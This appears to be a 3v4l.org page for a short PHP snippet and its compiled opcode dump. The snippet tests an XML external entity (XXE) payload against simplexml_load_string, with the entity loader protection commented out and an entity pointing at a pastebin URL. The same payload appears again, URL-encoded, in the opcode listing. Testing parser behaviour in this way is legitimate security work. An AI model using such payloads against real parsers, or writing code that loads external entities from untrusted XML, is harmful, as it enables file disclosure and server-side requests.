3v4l.org

run code in 300+ PHP versions simultaneously
<?php //var_dump(libxml_disable_entity_loader()); $dom = simplexml_load_string('<?xml version="1.0"?> <!DOCTYPE scan [<!ENTITY test SYSTEM "http://pastebin.com/raw.php?i=PJ035tGY">]> <scan>xxe: &test;</scan>'); var_dump($dom);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/eXZpl
function name:  (null)
number of ops:  8
compiled vars:  !0 = $dom
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   INIT_FCALL                                               'simplexml_load_string'
          1        SEND_VAL                                                 '%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE+scan+%5B%3C%21ENTITY+test+SYSTEM+%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3DPJ035tGY%22%3E%5D%3E%0A%3Cscan%3Exxe%3A+%26test%3B%3C%2Fscan%3E'
          2        DO_ICALL                                         $1      
          3        ASSIGN                                                   !0, $1
    9     4        INIT_FCALL                                               'var_dump'
          5        SEND_VAR                                                 !0
          6        DO_ICALL                                                 
          7      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.33 ms | 1394 KiB | 17 Q